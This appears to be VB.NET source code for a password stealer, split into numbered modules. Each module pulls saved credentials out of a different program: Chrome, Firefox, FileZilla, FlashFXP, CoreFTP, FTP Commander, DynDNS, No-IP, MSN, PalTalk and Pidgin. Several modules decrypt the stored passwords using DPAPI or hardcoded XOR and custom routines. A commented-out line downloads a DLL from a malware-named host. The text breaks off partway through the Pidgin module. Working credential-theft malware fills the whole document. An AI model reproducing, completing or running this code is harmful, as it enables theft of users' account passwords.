1.Chrome Imports System.Runtime.InteropServices Imports System.IO Imports System.Text Imports stub.SQLiteWrapper Public Class Chromer Public Shared cPass As String Public Shared Function GetChrome() 'My.Computer.Network.DownloadFile("http://soviet-malware.eu/System.Data.SQLite.DLL", Application.StartupPath & "\System.Data.SQLite.DLL") Try Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Web Data" If File.Exists(datapath) Then Dim SQLconnect As New SqlClient.SqlConnection() Dim SQLcommand As SqlClient.SqlCommand SQLconnect.ConnectionString = "Data Source=" + datapath + ";" SQLconnect.Open() SQLcommand = SQLconnect.CreateCommand SQLcommand.CommandText = "SELECT * FROM logins" Dim SQLreader As SqlClient.SqlDataReader = SQLcommand.ExecuteReader() Dim host, user, pass As String While SQLreader.Read() host = SQLreader("origin_url") user = SQLreader("username_value") pass = Decrypt(SQLreader("password_value")) If (user <> "") And (pass <> "") Then Dim pss As New ListViewItem pss.Text = host cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _ & vbNewLine & " ") End If End While SQLcommand.Dispose() SQLconnect.Close() End If Catch e As Exception MsgBox(e.ToString) End Try End Function <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _ Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean End Function <Flags()> Enum CryptProtectPromptFlags CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1 CRYPTPROTECT_PROMPT_ON_PROTECT = &H2 End Enum <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT Public cbSize As Integer Public dwPromptFlags As CryptProtectPromptFlags Public hwndApp As IntPtr Public szPrompt As String End Structure <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB Public cbData As Integer Public pbData As IntPtr End Structure Shared Function Decrypt(ByVal Datas() As Byte) As String Dim inj, Ors As New DATA_BLOB Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned) inj.pbData = Ghandle.AddrOfPinnedObject() inj.cbData = Datas.Length Ghandle.Free() CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors) Dim Returned() As Byte = New Byte(Ors.cbData) {} Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData) Dim TheString As String = Encoding.Default.GetString(Returned) Return TheString.Substring(0, TheString.Length - 1) End Function End Class 2.CoreFTP Module CoreFTP Function CoreFTP() As String Dim sPath As String = Environ$("APPDATA") & "\CoreFTP\sites.idx" Dim sFile As String = ReadFile(sPath) Dim sHost As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Host") Dim sPort As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Port") Dim sUser As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\User") Dim sPwd As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\PW") Dim sEntry As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Name") If Not sUser = "" Then Try CoreFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)" Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============CoreFTP==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Form1.ztext.AppendText("============CoreFTP==============") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("CoreFTP Couldn't Be Recovered!") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("=================================") End Try Else End If End Function End Module 3.DynDNS Module Dyndns Public Function GoogleDns() As String On Error Resume Next GoogleDns = Nothing Dim sAppData As String Dim sPath As String Dim sLine As String Dim sUser As String = Nothing Dim sPassword As String = Nothing Dim i As Integer Dim sChars As String = Nothing Dim lPtr As Integer sAppData = Environ("ALLUSERSPROFILE") If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\" sPath = sAppData & "DynDNS\Updater\config.dyndns" 'UPGRADE_WARNING: Dir has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="9B7D5ADD-D8FE-4819-A36C-6DEDAF088CC7"' If Dir(sPath) <> "" Then FileOpen(1, sPath, OpenMode.Binary) Do While Not EOF(1) sLine = vbNullString sLine = LineInput(1) If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10) If Left(sLine, 9) = "Password=" Then sPassword = Mid(sLine, 10) 'We have what we want, now exit do Exit Do End If Loop FileClose(1) For i = 1 To Len(sPassword) Step 2 sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2))) Next i For i = 1 To Len(sChars) Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1)))) lPtr = ((lPtr + 1) Mod 8) Next i Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============DYNDNS==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sChars) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) If sUser = "" Or sChars = "" Then Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============DYNDNS==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("DYNDNS Couldn't Be Recovered!") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) End If End If End Function End Module 4.FireFox 1 Imports System Imports System.IO Imports System.Runtime.InteropServices Imports System.Data Imports FireFox.SQLiteWrapper Imports System.Text Module FFDecryptor Public Class SHITEMID Public Shared cb As Long Public Shared abID As Byte() End Class <StructLayout(LayoutKind.Sequential)> _ Public Structure TSECItem Public SECItemType As Integer Public SECItemData As Integer Public SECItemLen As Integer End Structure <DllImport("kernel32.dll")> _ Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr End Function Private NSS3 As IntPtr <DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _ Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long Public Function NSS_Init(ByVal configdir As String) As Long Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\" LoadLibrary(MozillaPath & "mozcrt19.dll") LoadLibrary(MozillaPath & "nspr4.dll") LoadLibrary(MozillaPath & "plc4.dll") LoadLibrary(MozillaPath & "plds4.dll") LoadLibrary(MozillaPath & "ssutil3.dll") LoadLibrary(MozillaPath & "sqlite3.dll") LoadLibrary(MozillaPath & "nssutil3.dll") LoadLibrary(MozillaPath & "softokn3.dll") NSS3 = LoadLibrary(MozillaPath & "nss3.dll") Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init") Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate) Return dll(configdir) End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate2() As Long Public Function PK11_GetInternalKeySlot() As Long Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot") Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2) Return dll() End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate") Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3) Return dll(slot, loadCerts, wincx) End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer") Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4) Return dll(arenaOpt, outItemOpt, inStr, inLen) End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt") Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5) Return dll(data, result, cx) End Function Public signon As String End Module 5.FireFox 2 Imports System Imports System.Collections.Generic Imports System.Text Imports System.Runtime.InteropServices Imports System.Data Imports System.Collections Namespace SQLiteWrapper Public Class SQLiteBase <DllImport("kernel32")> _ Private Shared Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr End Function <DllImport("kernel32")> _ Private Shared Function GetProcessHeap() As IntPtr End Function <DllImport("kernel32")> _ Private Shared Function lstrlen(ByVal str As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_open(ByVal fileName As IntPtr, ByRef database As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_close(ByVal database As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_exec(ByVal database As IntPtr, ByVal query As IntPtr, ByVal callback As IntPtr, ByVal arguments As IntPtr, ByRef [error] As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_errmsg(ByVal database As IntPtr) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_prepare_v2(ByVal database As IntPtr, ByVal query As IntPtr, ByVal length As Integer, ByRef statement As IntPtr, ByRef tail As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_step(ByVal statement As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_count(ByVal statement As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_type(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_int(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_double(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Double End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_text(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_blob(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_table_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_finalize(ByVal handle As IntPtr) As Integer End Function ' SQLite constants Private Const SQL_OK As Integer = 0 Private Const SQL_ROW As Integer = 100 Private Const SQL_DONE As Integer = 101 Public Enum SQLiteDataTypes INT = 1 FLOAT TEXT BLOB NULL End Enum Private database As IntPtr Public Sub New() database = IntPtr.Zero End Sub Public Sub New(ByVal baseName As [String]) OpenDatabase(baseName) End Sub Public Sub OpenDatabase(ByVal baseName As [String]) If sqlite3_open(StringToPointer(baseName), database) <> SQL_OK Then database = IntPtr.Zero Throw New Exception("Error with opening database " & baseName & "!") End If End Sub Public Sub CloseDatabase() If database <> IntPtr.Zero Then sqlite3_close(database) End If End Sub Public Function GetTables() As ArrayList Dim query As [String] = "SELECT name FROM sqlite_master " & "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'" & "UNION ALL " & "SELECT name FROM sqlite_temp_master " & "WHERE type IN ('table','view') " & "ORDER BY 1" Dim table As DataTable = ExecuteQuery(query) Dim list As New ArrayList() For Each row As DataRow In table.Rows list.Add(row.ItemArray(0).ToString()) Next Return list End Function Public Sub ExecuteNonQuery(ByVal query As [String]) Dim [error] As IntPtr sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, [error]) If [error] <> IntPtr.Zero Then Throw New Exception(("Error with executing non-query: """ & query & """!" & vbLf) + PointerToString(sqlite3_errmsg([error]))) End If End Sub Public Function ExecuteQuery(ByVal query As [String]) As DataTable Dim statement As IntPtr Dim excessData As IntPtr sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData) Dim table As New DataTable() Dim result As Integer = ReadFirstRow(statement, table) While result = SQL_ROW result = ReadNextRow(statement, table) End While sqlite3_finalize(statement) Return table End Function Private Function ReadFirstRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer table = New DataTable("resultTable") Dim resultType As Integer = sqlite3_step(statement) If resultType = SQL_ROW Then Dim columnCount As Integer = sqlite3_column_count(statement) Dim columnName As [String] = "" Dim columnType As Integer = 0 Dim columnValues As Object() = New Object(columnCount - 1) {} For i As Integer = 0 To columnCount - 1 columnName = PointerToString(sqlite3_column_name(statement, i)) columnType = sqlite3_column_type(statement, i) Select Case columnType Case CInt(SQLiteDataTypes.INT) If True Then table.Columns.Add(columnName, Type.[GetType]("System.Int32")) columnValues(i) = sqlite3_column_int(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.FLOAT) If True Then table.Columns.Add(columnName, Type.[GetType]("System.Single")) columnValues(i) = sqlite3_column_double(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.TEXT) If True Then table.Columns.Add(columnName, Type.[GetType]("System.String")) columnValues(i) = PointerToString(sqlite3_column_text(statement, i)) Exit Select End If Case CInt(SQLiteDataTypes.BLOB) If True Then table.Columns.Add(columnName, Type.[GetType]("System.String")) columnValues(i) = PointerToString(sqlite3_column_blob(statement, i)) Exit Select End If Case Else If True Then table.Columns.Add(columnName, Type.[GetType]("System.String")) columnValues(i) = "" Exit Select End If End Select Next table.Rows.Add(columnValues) End If Return sqlite3_step(statement) End Function Private Function ReadNextRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer Dim columnCount As Integer = sqlite3_column_count(statement) Dim columnType As Integer = 0 Dim columnValues As Object() = New Object(columnCount - 1) {} For i As Integer = 0 To columnCount - 1 columnType = sqlite3_column_type(statement, i) Select Case columnType Case CInt(SQLiteDataTypes.INT) If True Then columnValues(i) = sqlite3_column_int(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.FLOAT) If True Then columnValues(i) = sqlite3_column_double(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.TEXT) If True Then columnValues(i) = PointerToString(sqlite3_column_text(statement, i)) Exit Select End If Case CInt(SQLiteDataTypes.BLOB) If True Then columnValues(i) = PointerToString(sqlite3_column_blob(statement, i)) Exit Select End If Case Else If True Then columnValues(i) = "" Exit Select End If End Select Next table.Rows.Add(columnValues) Return sqlite3_step(statement) End Function Private Function StringToPointer(ByVal str As [String]) As IntPtr If str Is Nothing Then Return IntPtr.Zero Else Dim encoding__1 As Encoding = Encoding.UTF8 Dim bytes As [Byte]() = encoding__1.GetBytes(str) Dim length As UInteger = bytes.Length + 1 Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, DirectCast(length, UInt32)) Marshal.Copy(bytes, 0, pointer, bytes.Length) Marshal.WriteByte(pointer, bytes.Length, 0) Return pointer End If End Function Private Function PointerToString(ByVal ptr As IntPtr) As [String] If ptr = IntPtr.Zero Then Return Nothing End If Dim encoding__1 As Encoding = Encoding.UTF8 Dim length As Integer = GetPointerLenght(ptr) Dim bytes As [Byte]() = New [Byte](length - 1) {} Marshal.Copy(ptr, bytes, 0, length) Return encoding__1.GetString(bytes, 0, length) End Function Private Function GetPointerLenght(ByVal ptr As IntPtr) As Integer If ptr = IntPtr.Zero Then Return 0 End If Return lstrlen(ptr) End Function End Class End Namespace 6. FileZilla Module Filezilla Function ShoitZilla() As String On Error Resume Next Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml" Dim FileBuffer As String = vbNull Dim NL As String = vbNewLine FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd() Dim str As String Dim Output As String = Nothing Dim TempData() As String TempData = FileBuffer.Split(vbCrLf) FileBuffer = Nothing For Each str In TempData If str.Contains("</Host>") Then str.Replace("<Host>", "").Replace("</Host>", "") Output = Output & "Host : " & str & NL End If If str.Contains("</User>") Then str.Replace("<User>", "").Replace("</User>", "") Output = Output & "Username : " & str & NL End If If str.Contains("</Pass>") Then str.Replace("<Pass>", "").Replace("</Pass>", "") Output = Output & "Password : " & str & NL & NL End If Next Output = "=============FileZilla================" & vbNewLine & Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "") & vbNewLine ShoitZilla = Output Form1.ztext.AppendText(Output) End Function End Module 7.FlashFXP Module FlashFXP Function FlashFXP() As String Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat" Dim sFile As String = ReadFile(sPath) Dim sHost As String = Cut(sFile, "IP=", vbNewLine) Dim sPort As String = Cut(sFile, "port=", vbNewLine) Dim sUser As String = Cut(sFile, "user=", vbNewLine) Dim sPwd As String = Cut(sFile, "pass=", vbNewLine) Dim sEntry As String = Cut(sFile, "created=", vbNewLine) If Not sUser = "" Then Try FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)" Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============FlashFXP==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Form1.ztext.AppendText("============FlashFXP==============") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("FlashFXP Couldn't Be Recovered!") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("=================================") End Try Else End If End Function End Module 8.FtpCommander Module FTPCommander Function FtpCommander() As String Dim sPath As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander\UninstallString"), "uninstall.exe", vbNullString) & "Ftplist.txt" Dim sFile As String = ReadLine(sPath, -1) Dim sHost As String = Cut(sFile, ";Server=", ";Port=") Dim sPort As String = Cut(sFile, ";Port=", ";Password=") Dim sUser As String = Cut(sFile, ";User=", ";*********=") Dim sPwd As String = Cut(sFile, ";Password=", ";User=") Dim sEntry As String = Cut(sFile, "Name=", ";Server=") If Not sUser = "" Then Try FtpCommander = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============FTP Commander==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception End Try Else End If End Function End Module 9.IMVU Module Imvu Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values On Error GoTo Error_Renamed ' // If Error dont Display Error Dim X As Object ' // X = CreateObject("WScript.shell") ' // Create REG Object ReadKey = X.regread(hKey) ' // Read The Key Exit Function Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = "" End Function Public Function Hex2Ascii(ByVal Text As String) As String Dim Value As Object Dim num As Object Dim i As Object ' // Simple Function for Pass Hex to Ascii Value = Nothing For i = 1 To Len(Text) ' Len of Encripted Text num = Mid(Text, i, 2) ' // Go Chr by Chr Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex i = i + 1 ' // +1 Next i ' Next Chr Hex2Ascii = Value ' // End Function 10. MSN Imports System.Collections.Generic Imports System.Text Imports System.Runtime.InteropServices Imports System.IO Module MSN <DllImport("advapi32.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _ Public Function CredEnumerateW(ByVal filter As String, ByVal flag As UInteger, ByVal count As UInteger, ByVal pCredentials As IntPtr) As Boolean End Function <DllImport("crypt32", CharSet:=CharSet.Auto, SetLastError:=True)> _ Friend Function CryptUnprotectData(ByRef dataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByVal optionalEntropy As Integer, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, _ ByVal pDataOut As DATA_BLOB) As Boolean End Function Friend Structure CREDENTIAL Public Flags As Integer Public Type As Integer <MarshalAs(UnmanagedType.LPWStr)> _ Public TargetName As String <MarshalAs(UnmanagedType.LPWStr)> _ Public Comment As String Public LastWritten As Long Public CredentialBlobSize As Integer Public CredentialBlob As Integer Public Persist As Integer Public AttributeCount As Integer Public Attributes As IntPtr <MarshalAs(UnmanagedType.LPWStr)> _ Public TargetAlias As String <MarshalAs(UnmanagedType.LPWStr)> _ Public UserName As String End Structure Private Cred As CREDENTIAL Friend Structure DATA_BLOB Public cbData As Integer Public pbData As Integer End Structure Friend Structure UserDetails Public uName As String Public uPass As String End Structure Public count As UInteger Public pCredentials As IntPtr = IntPtr.Zero Public dataIn As DATA_BLOB Public dataOut As DATA_BLOB Public uDetail As UserDetails Public Function getPwd() As String() Password() Dim pass As String() = {uDetail.uName, uDetail.uPass} Return pass End Function Public Sub Password() Try Dim ptr As IntPtr = Marshal.ReadIntPtr(pCredentials, 0 * 4) Cred = CType(Marshal.PtrToStructure(ptr, Cred.[GetType]()), CREDENTIAL) dataIn.pbData = Cred.CredentialBlob dataIn.cbData = Cred.CredentialBlobSize CryptUnprotectData(dataIn, 0, 0, 0, 0, 1, _ dataOut) dataOut.pbData = dataIn.pbData uDetail.uName = Cred.UserName uDetail.uPass = (Marshal.PtrToStringUni(New IntPtr(dataOut.pbData))) Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============MSN==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & uDetail.uName) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & uDetail.uPass) Form1.ztext.AppendText(nl) Exit Sub Catch x As Exception Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============MSN==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("MSN Could not be recovered!") Form1.ztext.AppendText(nl) Exit Sub End Try End Sub End Module 11. NO-IP Module No_IP Public Function base64Decode(ByVal data As String) As String Try Dim encoder As New System.Text.UTF8Encoding() Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder() Dim todecode_byte As Byte() = Convert.FromBase64String(Data) Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length) Dim decoded_char As Char() = New Char(charCount - 1) {} utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0) Dim result As String = New [String](decoded_char) Return result Catch e As Exception End Try End Function Function IpRecord() As String Try IpRecord = Nothing Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing) Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing) Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============IMVU==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & Username) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & base64Decode(Password)) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============IMVU==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("IMVU Not Installed!") Form1.ztext.AppendText(nl) End Try End Function End Module 12.PalTalk Module PalTalk Public Function GetHDSerial() As String Dim disk As New System.Management.ManagementObject( _ "Win32_LogicalDisk.DeviceID=""C:""") Dim diskPropertyA As System.Management.PropertyData = _ disk.Properties("VolumeSerialNumber") Return diskPropertyA.Value.ToString() End Function Public Function paltalkscene() As String Try Dim ser() As Char = GetHDSerial().ToCharArray Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser Dim out As String = "" reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk") Dim users As String() = reg.GetSubKeyNames() reg.Close() For Each s As String In users Dim t, o, i, x As Integer Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "") Dim chr1 As Char() = pass.ToCharArray Dim passarr(pass.Length / 4) As String While t <= UBound(chr1) - 4 If t < UBound(chr1) - 4 Then passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2) End If t += 4 o += 1 End While Dim key As String = "" For Each c As Char In s key += c If i <= UBound(ser) Then key += ser(i) End If i = i + 1 Next key = key & key & key Dim chr_arr As Char() = key.ToCharArray Dim blainpass As String = "" blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1))) For x = 1 To UBound(passarr) Dim tempchr As Char If passarr(x) Is Nothing Then Else tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122) blainpass += tempchr End If Next x Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============PalTalk==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & s) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & blainpass) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Next Return out Catch ex As Exception Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============PalTalk==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("PalTalk Not Installed!") Form1.ztext.AppendText(nl) Return "---" End Try End Function End Module 13. Pidgin Option Explicit On Imports System.IO Imports System.Xml Module Pidgin Public Function GetPidgin() As String Dim ReadXML As New XmlDocument Dim i As Integer Dim OutAll = Nothing GetPidgin = "" Dim FilePath As String = Environ("appdata") & "\.purple\accounts.xml" If File.Exists(FilePath) <> True Then Exit Function Else Try ReadXML.Load(FilePath) Dim Protocol As XmlNodeList = ReadXML.GetElementsByTagName("protocol") Dim Username As XmlNodeList = ReadXML.GetElementsByTagName("name") Dim Password As XmlNodeList = ReadXML.GetElementsByTagName("password") For i = 0 To Protocol.Count - 1 OutAll = OutAll & "Pidgin Stealer Logs!" & vbNewLine & "Protocol: " & Protocol(i).InnerText & vbCrLf _ & "Username: " & Username(i).InnerText & vbCrLf _ & "Password: " & Password(i).InnerText & vbCrLf & vbNewLine Next Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============Pidgin==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & Username(i).InnerText) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & Password(i).InnerText) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============Pidgin==============") Form1.ztext.AppendText(nl) 